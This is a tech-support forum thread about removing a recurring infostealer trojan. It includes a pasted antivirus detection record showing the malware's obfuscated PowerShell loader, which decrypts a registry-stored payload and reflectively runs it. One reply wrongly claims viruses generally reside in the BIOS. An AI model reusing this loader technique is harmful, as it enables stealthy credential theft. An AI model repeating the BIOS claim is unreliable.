How do I really get rid of Trojan:Win32/PowerBypass.DA!MTB? It keeps coming back.

It's an infostealer so, passwords, logins, whatever a keylogger could acquire, etc. Hopefully Malwarebytes got all of it.

https://unit42.paloaltonetworks.com/solarmarker-malware/

Microsoft Community seems to not be happy with sharing images, so here's the text of the detection record:

Detected: Trojan:Win32/PowerBypass.DA!MTB

Status: Removed

A threat or app was removed from this device.

Details: This program is dangerous and executes commands from an attacker.

Affected Items:

CmdLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command $A=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$A.Key=@([byte]0,196,140,72,21,72,64,89,154,182,168,161,70,202,2,191,102,42,211,52,91,254,29,124,110,58,126,180,105,191,32,157);$A.IV=@([byte]221,102,202,39,207,201,16,220,13,229,251,157,63,5,0,156);$F=(get-itemproperty 'HKCU:\Software\Classes\tlrdnl1kcfk').'(default)';[Reflection.Assembly]::Load($A.CreateDecryptor().TransformFinalBlock($F,0,$F.Length));[YQirTLzRAk9kIDH0AJifVmigFQv6zlpQ0jjCUuZX3E_r7r3wVU0WaoRgJBihbM_QVx.eWKDxqqzm0nAi4tb96jtpVPxGyiTX2PtAAktSAUuWDuFLYixKB5]::g6T4pyZII3rtNNXoN1GeIWPOljI4CT3('7Y0RETCT70KK5C6VWK21K3YG9FN3T8BI');

The FRST logs contain a lot of personal information about my computer, so I'm not sure I'm comfortable uploading that online. Is there anything in the log I should be looking for as a sign of where the trojan is and/or how to fix it?

I could not even find a listing of Trojan:Win32/PowerBypass.DA!MTB on Microsoft's Change logs for security intelligence threat detections.
 
I suggest you follow AW's instructions for using FRST.

Please post a screenshot of the detection record and where it is being detected.

Also scan with Farbar Recovery Scan Tool (FRST) so that startup locations and services can be checked for malware.

https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/

Note: If you are using Edge or Chrome, SmartScreen may initially block the download.

Click on the three dots next to the warning and select Keep => Show more => Keep anyway.

• If your computer's language is not English, rename FRST64.exe to FRST64English.exe
• Run the tool, leave the default settings, and press Scan.
• Zip the logs, FRST.txt and Addition.txt, then upload to a cloud storage service like OneDrive, Google Drive or gofile.io
• Post the share link.

Share OneDrive files and folders - Microsoft Support

Since viruses are not hosted in a single part of the system but in general of the BIOS, it is best to make a new installation of your operating system from a USB so that the virus is completely eliminated, I recommend an antivirus and not download anything from unreliable pages to avoid losing your data.

Remember that most viruses are inserted into files and even if we do the windows installation without losing your files, sometimes the virus persists.

I recommend a clean and complete installation of your OS so that nothing remains of the virus.